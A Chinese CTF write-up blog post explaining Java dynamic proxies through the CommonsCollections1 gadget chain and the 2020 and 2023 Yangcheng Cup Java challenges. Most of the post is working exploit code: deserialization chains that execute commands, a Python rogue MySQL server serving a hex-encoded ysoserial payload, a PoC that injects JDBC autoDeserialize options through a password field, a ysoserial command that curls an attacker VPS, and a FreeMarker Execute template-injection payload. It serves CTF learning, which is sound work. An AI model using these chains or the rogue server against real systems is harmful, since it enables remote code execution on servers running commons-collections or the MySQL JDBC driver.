动态代理(羊城杯)

Posted by Azeril on September 20, 2023

测试

CC1 分析
2020 羊城杯
2023羊城杯  java题目

前言

动态代理总是处于学了就忘----》忘了就学的地步。
尤其是这次羊城杯的java看出来是动态代理,并且接口类和代理类也分清了,但还是差点知识,所以速来RUn

首先举一个Demo

先创建三个类

IHello   接口类
HelloImplements  实现接口类
DynaProxyHello   代理类 

IHello

package proxyx;
public interface IHello {
    void sayHello(String name);
    void sayGoogBye(String name);
}

Helloimplements

package proxyx;
public class Helloimplements implements IHello{
    @Override
    public void sayHello(String name) {
        System.out.println("hello"+name);
    }
    @Override
    public void sayGoogBye(String name) {
        System.out.println(name+"GoodBye!");
    }
}

DynaProxyHello

package proxyx;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class DynaProxyHello implements InvocationHandler {
    private Object delegate;
    public Object bind(Object delegate){
        this.delegate=delegate;
        return Proxy.newProxyInstance(
                this.delegate.getClass().getClassLoader(),this.delegate.getClass().getInterfaces(),this);

    }
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        Object result=null;
        try{
            System.out.println("问候之前的日志记录");
            result=method.invoke(this.delegate,args);
        }
        catch (Exception e){
            e.printStackTrace();
        }
        return result;
    }
}

调用动态代理并且引用代理类的方法,会触发invoke(注意一定要调用代理类的方法

然后我们想想如何调用到invoke方法

 package proxyx;
 
 public class ppp {
     public static void main(String[] args) {
         DynaProxyHello aa=new DynaProxyHello();
         Helloimplements hello=new Helloimplements();
         IHello a=(IHello)aa.bind(hello);
         a.sayGoogBye("ss");
     }
     //这里如果去掉a.sayGoogBye是不会触发invoke方法的
 }

image-20230920220849788

image-20230920220859458

如果把动态代理放到主程序如何构造呢?(思考一下)

动态代理的作用其实就是

用一个代理类(DynaProxyHello)里面存放一个invoke方法,代理的是一个实现接口的类,然后通过这个invoke就能调用到实现接口的类。
        DynaProxyHello aaa=new DynaProxyHello();
        Helloimplements bbb=new Helloimplements();
        IHello o = (IHello)Proxy.newProxyInstance(
                bbb.getClass().getClassLoader(), bbb.getClass().getInterfaces(), aaa);
        Field delegate = aaa.getClass().getDeclaredField("delegate");
        delegate.setAccessible(true);
        delegate.set(aaa,bbb);
        o.sayGoogBye("sf");
IHello o = (IHello)Proxy.newProxyInstance(
                bbb.getClass().getClassLoader(), bbb.getClass().getInterfaces(), aaa);
         强类型转换为接口类
         ClassLoader、Class[]、InvocationHandler
         这道题也就是(实现接口的类加载器,实现接口的接口方法,aaa代理InvocationHandler需要继承这个)

上面看懂了以后,来继续深入剖析CC1这条链子

后半部分比较简单也就是lazymap这条链子

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.annotation.Annotation;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

       lazyMap.get("s");
    }
}

所以我们需要找谁调用了 lazymap的get方法,主要看sun.reflect.annotation中的AnnotationInvocationHandler这个类

因为

class AnnotationInvocationHandler implements InvocationHandler, Serializable
这个类继承了InvocationHandler和Serializable,势必会重写invoke方法

并且它的invoke方法中 this.memberValues.get(var4);如果能转换为Lazymap.get(var4)不就可以了嘛

image-20230921152224928

lazymap实现了map的接口,那么直接代理map不就可以了嘛。。。

在AnnotationInvocationhandler#readObject方法中,又发现了 this.memberValues.entrySet()正愁没地方调用,触发不了invoke

image-20230921153330264

所以到这里思路非常清晰了

这个memberValues就是一个代理类,代理lazymap,然后调用entrySet触发了invoke

然后AnnotationInvocationhandler是一个私有类,所以需要通过反射来获得

image-20230921153721026

但是在构造的时候遇到了一个麻烦

这里AnnotationInvocationhandler是一个class类这是为啥呢,

image-20230921154235163

首先这个类是一个有参的方法,其次forName反射需要newinstance进行实例化

image-20230921154611596

public static String string;
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

//       lazyMap.get("s");

//       lazyMap.entrySet();

        Class<?> anno = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = anno.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler handler=(InvocationHandler)declaredConstructor.newInstance(Retention.class,lazyMap);
        //上面这行时为了找出handler



         Map ccc=(Map)  Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(),lazyMap.getClass().getInterfaces(),handler);
         //这里时map接口没啥问题 很正常
        Object o = declaredConstructor.newInstance(Retention.class, ccc);
        //这里我想的点是为啥反射需要实例化两个,  像上面的例子直接 new invocationhandler类就行,
        //是因为反射的话需要先构造handler对象,然后再传入代理后的结果

        serialize(o);
       unserialize();
    }
    public static void serialize(Object object) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        string = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }
    public static void unserialize() throws Exception {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }

后面思考的点

后面实例化了二次
是因为如果不实例化第一次(InvocationHandler)declaredConstructor.newInstance(Retention.class,lazyMap);构造不了handler对象
然后第二次实例化是把代理的类赋值过去
Object o = declaredConstructor.newInstance(Retention.class, ccc);

初始化类的那个判断注解,试了 orrived  target都可以 

接下来看下[羊城杯 2020]a_piece_of_java

看完cc1后,看一下这道题的动态代理

InfoInvocationHandler.java
package gdufs.challenge.web.invocation;

import gdufs.challenge.web.model.Info;
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class InfoInvocationHandler implements InvocationHandler, Serializable {
    private Info info;

    public InfoInvocationHandler(Info info) {
        this.info = info;
    }

    public Object invoke(Object proxy, Method method, Object[] args) {
        try {
            return method.getName().equals("getAllInfo") && !this.info.checkAllInfo() ? null : method.invoke(this.info, args);
            //这里肯定是判断为false,才会执行method.invoke反射方法
        } catch (Exception var5) {
            var5.printStackTrace();
            return null;
        }
    }
}

DatabaseInfo.java
package gdufs.challenge.web.model;

import java.io.Serializable;
import java.sql.Connection;
import java.sql.DriverManager;

public class DatabaseInfo implements Serializable, Info {
    //实现了Info接口,猜测这个类就是需要用到的
    private String host;
    private String port;
    private String username;
    private String password;
    private Connection connection;

    public DatabaseInfo() {
    }

    public void setHost(String host) {
        this.host = host;
    }

    public void setPort(String port) {
        this.port = port;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String getHost() {
        return this.host;
    }

    public String getPort() {
        return this.port;
    }

    public String getUsername() {
        return this.username;
    }

    public String getPassword() {
        return this.password;
    }

    public Connection getConnection() {
        if (this.connection == null) {
            this.connect();
        }

        return this.connection;
    }

    private void connect() {//connect方法很可疑
        String url = "jdbc:mysql://" + this.host + ":" + this.port + "/jdbc?user=" + this.username + "&password=" + this.password + "&connectTimeout=3000&socketTimeout=6000";

        try {
            this.connection = DriverManager.getConnection(url);
        } catch (Exception var3) {
            var3.printStackTrace();
        }

    }

    public Boolean checkAllInfo() {
        if (this.host != null && this.port != null && this.username != null && this.password != null) {
            if (this.connection == null) {
                this.connect();//这里会触发connect方法
            }
            return true;
        } else {
            return false;
        }
    }

    public String getAllInfo() {//感觉是tostring的作用
        return "Here is the configuration of database, host is " + this.host + ", port is " + this.port + ", username is " + this.username + ", password is " + this.password + ".";
    }
}
UserInfo
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package gdufs.challenge.web.model;

import java.io.Serializable;

public class UserInfo implements Serializable, Info {
    private String username;
    private String password;

    public UserInfo() {
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String getUsername() {
        return this.username;
    }

    public String getPassword() {
        return this.password;
    }

    public Boolean checkAllInfo() {
        return this.username != null && this.password != null;
    }

    public String getAllInfo() {
        return "Your username is " + this.username + ", and your password is " + this.password + ".";
    }
}
Info
package gdufs.challenge.web.model;

public interface Info {//接口类
    Boolean checkAllInfo();

    String getAllInfo();
}

大概看完以后,是利用动态代理触发InforInvocationhandler从而调用DatabaseInfo中的checkAllInfo方法

还没看懂这个mysql数据库链接有啥用

想了一下再在哪里调用代理类的方法,然后触发invoke

简单分析完动态代理,开始分析题目:

首先查看依赖;

springboot
mysql
cc3.2.1

猜测jndi注入或者mysql任意读取这些

package gdufs.challenge.web.controller;

@Controller
public class MainController {
    public MainController() {
    }

    @GetMapping({"/index"})
    public String index(@CookieValue(value = "data",required = false) String cookieData) {
        return cookieData != null && !cookieData.equals("") ? "redirect:/hello" : "index";
    }

    @PostMapping({"/index"})  //访问/index路由  生成一个data的序列化数据
    public String index(@RequestParam("username") String username, @RequestParam("password") String password, HttpServletResponse response) {
        UserInfo userinfo = new UserInfo();
        userinfo.setUsername(username);
        userinfo.setPassword(password);
        Cookie cookie = new Cookie("data", this.serialize(userinfo));
        cookie.setMaxAge(2592000);
        response.addCookie(cookie);
        return "redirect:/hello";
    }

    @GetMapping({"/hello"})
    public String hello(@CookieValue(value = "data",required = false) String cookieData, Model model) {
        if (cookieData != null && !cookieData.equals("")) {
            Info info = (Info)this.deserialize(cookieData);
            if (info != null) {
                model.addAttribute("info", info.getAllInfo());
            }

            return "hello";
        } else {
            return "redirect:/index";
        }
    }
    }
}

经过n个小时看师傅们的文章,终于看懂了!!!

其实主要卡在了JDBC反序列化链接恶意mysql这个

首先展示一个例子

import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
    #file文件的内容使用ysoserial生成的 使用规则  java -jar ysoserial [common7那个]  "calc" > payload
    file= r'payload'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))

        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)

            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢??
                #获取payload
                payload_content=get_payload_content()
                #计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                #计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break


if __name__ == '__main__':
    HOST ='0.0.0.0'
    PORT = 3309

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST,PORT))

    run()
package gdufs.challenge.web;

import com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class sf {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        Class.forName("com.mysql.jdbc.Driver");
        String jdbc_url = "jdbc:mysql://localhost:3309/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +
                "&autoDeserialize=true" +
                "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
        Connection con = DriverManager.getConnection(jdbc_url, "root", "123123");
    }
}

这样就会弹出计算器

image-20230921203009887

首先分析一下这里url的作用

    String jdbc_url = "jdbc:mysql://localhost:3309/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +
            "&autoDeserialize=true" +
            "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";

autoDeserialize=true

queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

主要是这两个参数

ServerStatusDiffInterceptor拦截器的主要作用是在每个查询之前和之后记录服务器状态信息,以便计算状态差异。为了实现这个功能,拦截器会在查询执行前后分别执行SHOW SESSION STATUS查询。这使得攻击者可以利用这个拦截器将恶意代码注入到服务器状态查询的结果中,从而触发反序列化漏洞。
同时攻击者还需要在URL中添加autoDeserialize=true参数以告知JDBC驱动在处理查询结果时自动进行反序列化这样当驱动处理包含恶意Java对象的查询结果时恶意代码就会被执行

现在我们了解了总体思路,接下来一步步分析

因为是ServerStatusDiffInterceptor拦截器执行的查询,所以从ServerStatusDiffInterceptor.class作为入口点分析

重点查看两个方法preProcess和postProcess

首先是preProcess

preProcess方法在查询执行之前被调用。在这个方法中,拦截器首先调用populateMapWithSessionStatusValues方法,获取当前会话状态,并将结果存储在preExecuteValues

因为加了那个拦截器嘛,所以自动会进行一个查询。然后就会触发preProcess方法

public <T extends Resultset> T postProcess(Supplier<String> sql, Query interceptedQuery, T originalResultSet, ServerSession serverSession) {
        this.populateMapWithSessionStatusValues(this.postExecuteValues);//跟进
        this.log.logInfo("Server status change for query:\n" + Util.calculateDifferences(this.preExecuteValues, this.postExecuteValues));
        return null;
    }

然后这里就会触发populateMapWithSessionStatusValues方法

image-20230921204537542

这里会把查询完的结果存在 rs中

ResultSetUtil.resultSetToMap(toPopulate, rs);//跟进

调用了getObject方法

image-20230921204735241

发现是一个ResultSet接口

image-20230921205040610

image-20230921205053675

然后进入ResultSetImpl方法,就是一个反序列化readObject

image-20230921205158546

正式回归题目

根据上面的为基础,我们现在只需要想如何调用到connect()方法

image-20230921205746870

那么这里就要用到动态代理了,其实它这道题能用到动态代理的点主要在于这里触发了 info.getAllInfo()方法

image-20230921210247696

那么就触发了动态代理就会进一步触发到了 invoke,

触发动态代理的checkAllInfo()方法

image-20230921210853614

继续触发checkAllInfo()方法,里面调用了connect方法

image-20230921210920528

然后之后的过程就和上面连起来了

image-20230921211054506

本地构造一下,目的打通本地的计算机

说一下我疑惑的点叭,

可以看出反序列化的是名字为data的cookie属性,这个能直接add进去然后序列化嘛
确定的是肯定可以,手动更改浏览器上的那个东西

image-20230921211305705

image-20230921213114666

直接打通poc为,

package gdufs.challenge.web;

import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;

import javax.xml.crypto.Data;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class Payload {
    public static String string;
    public static void main(String[] args) throws Exception {
        DatabaseInfo databaseInfo=new DatabaseInfo();
        databaseInfo.setHost("localhost");
        databaseInfo.setPort("3309");
        databaseInfo.setUsername("JYcxk");
        databaseInfo.setPassword("JYcxk&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true");
       // String url = "jdbc:mysql://" + this.host + ":" + this.port + "/jdbc?user=" + this.username + "&password=" + this.password + "&connectTimeout=3000&socketTimeout=6000";


        Info info=(Info)Proxy.newProxyInstance(databaseInfo.getClass().getClassLoader(),databaseInfo.getClass().getInterfaces(),new InfoInvocationHandler(databaseInfo));
        serialize(info);
        System.out.println(string);




    }
    public static void serialize(Object object) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        string = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }
}

直接加就行别多考虑

image-20230921213152235

如果要反弹shell的话就可以直接把payload和恶意mysql服务器放在同一目录即可

java -jar ysoserial-0.0.8-SNAPSHOT-all.jar CommonsCollections7  "curl http://vps:3666/?name=JYcxk22" >jycxksss

放在和mysql的py文件同一目录

image-20230922123848703

然后刷新浏览器,打到恶意mysql服务器上,bps开启监听

image-20230922123946409

发现成功 反弹 结束~~~

2023 羊城杯 ez_java

这道题也是采用的动态代理,这道题其实卡了很长时间的因为上面那道题是题目自己调用的动态代理的方法,这道题就需要自己调用。

主要存在的类

image-20230923145732298

HtmlInvocationHandler

这个类一眼是handler的类,会触发invoke方法然后触发this.obj.get,感觉是触发lazymap#get

package com.ycbjava.Utils;

import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;

public class HtmlInvocationHandler implements InvocationHandler, Serializable {
    public Map obj;

    public HtmlInvocationHandler() {
    }

    public HtmlInvocationHandler(Map obj) {
        this.obj = obj;
    }

    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        Object result = this.obj.get(method.getName());
        return result;
    }
}
HtmlMap

实现Map方式的类,看起来上面那个invoke是调用这里的,况且这里也存在get方法,是上传文件

package com.ycbjava.Utils;

import java.io.Serializable;
import java.util.Collection;
import java.util.Map;
import java.util.Set;

public class HtmlMap implements Map, Serializable {
    public String filename;
    public String content;

    public HtmlMap() {
    }

    public int size() {
        return 0;
    }

    public boolean isEmpty() {
        return false;
    }

    public boolean containsKey(Object key) {
        return false;
    }

    public boolean containsValue(Object value) {
        return false;
    }

    public Object get(Object key) {
        try {
            Object obj = HtmlUploadUtil.uploadfile(this.filename, this.content);
            return obj;
        } catch (Exception var4) {
            throw new RuntimeException(var4);
        }
    }

    public Object put(Object key, Object value) {
        return null;
    }

    public Object remove(Object key) {
        return null;
    }

    public void putAll(Map m) {
    }

    public void clear() {
    }

    public Set keySet() {
        return null;
    }

    public Collection values() {
        return null;
    }

    public Set<Map.Entry> entrySet() {
        return null;
    }
}

HtmlUploadUtil
package com.ycbjava.Utils;

import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.IOException;

public class HtmlUploadUtil {
    public HtmlUploadUtil() {
    }

    public static boolean uploadfile(String filename, String content) {
        if (filename != null && !filename.endsWith(".ftl")) {
            //名字必须要以.ftl结尾
            return false;
        } else {
            String realPath = "/app/templates/" + filename;
            if (!realPath.contains("../") && !realPath.contains("..\\")) {
                //不能含有跨目录
                try {
                    BufferedWriter writer = new BufferedWriter(new FileWriter(realPath));
                    writer.write(content);//写入传入的内容
                    writer.close();
                    return true;
                } catch (IOException var4) {
                    System.err.println("Error uploading file: " + var4.getMessage());
                    return false;
                }
            } else {
                return false;
            }
        }
    }
}

大概思路就是构造动态代理,然后CC1能触发是因为在反序列化的时候触发了

map.entryset()这种,所以我们完全可以把map换成这道题中HtmlMap的代理
停停停好像不对了
cc1是把AnnotationInvocationHandler当作了handler,如果我们不用题目给的handler直接触发HtmlMap的get方法能行嘛,试一下

但是根本不会调用到HtmlMap #get方法,会出现空指针异常,真的好不理解

image-20230923160437657

还有一种可能就是,代理直接改成题目那个的

怎么写都是空指针异常了。。。

image-20230923161829964

给我整蒙了,CPU烧了。。。真的好不理解,为啥lazymap可以那个就不行都是实现了map的方法

润去看看✌们的wp

最后发现是因为这里没赋值this.obj,。。。

一种方法是通过AAnnotationInvocationHandler来触发,调用代理entryset

image-20230923163656966

image-20230923163736712

第二种方法通过BadAttributeValueExpException来触发

通过val.tostring,因为tostring、hashcode、equals是所有类都有的方法

package com.ycbjava.Utils;

import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.Map;
import java.util.logging.Handler;

public class cc1 {
    public static String string;

    public static void main(String[] args) throws Exception {
        HtmlMap htmlMap = new HtmlMap();
        htmlMap.filename = "index.ftl";
//        htmlMap.content = "${name}
//                <#assign ac=springMacroRequestContext.webApplicationContext>
//<#assign fc=ac.getBean('freeMarkerConfiguration')>
//<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
//<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()(name)}
//        ${VOID}";
        ClassLoader classLoader = htmlMap.getClass().getClassLoader();
        Class[] interfaces = htmlMap.getClass().getInterfaces();
        HtmlInvocationHandler infoInvocationHandler = new HtmlInvocationHandler(htmlMap);
        Map proxy = (Map)Proxy.newProxyInstance(classLoader, interfaces, infoInvocationHandler);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException((Object)null);
        Field declaredField = badAttributeValueExpException.getClass().getDeclaredField("val");
        declaredField.setAccessible(true);
        declaredField.set(badAttributeValueExpException, proxy);
      serialize(badAttributeValueExpException);
      unserialize();

      

    }
    public static void serialize(Object object) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        string = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }
    public static void unserialize() throws Exception {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }


}

耗时三天终于 搞完了~~~


Creative Commons License
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。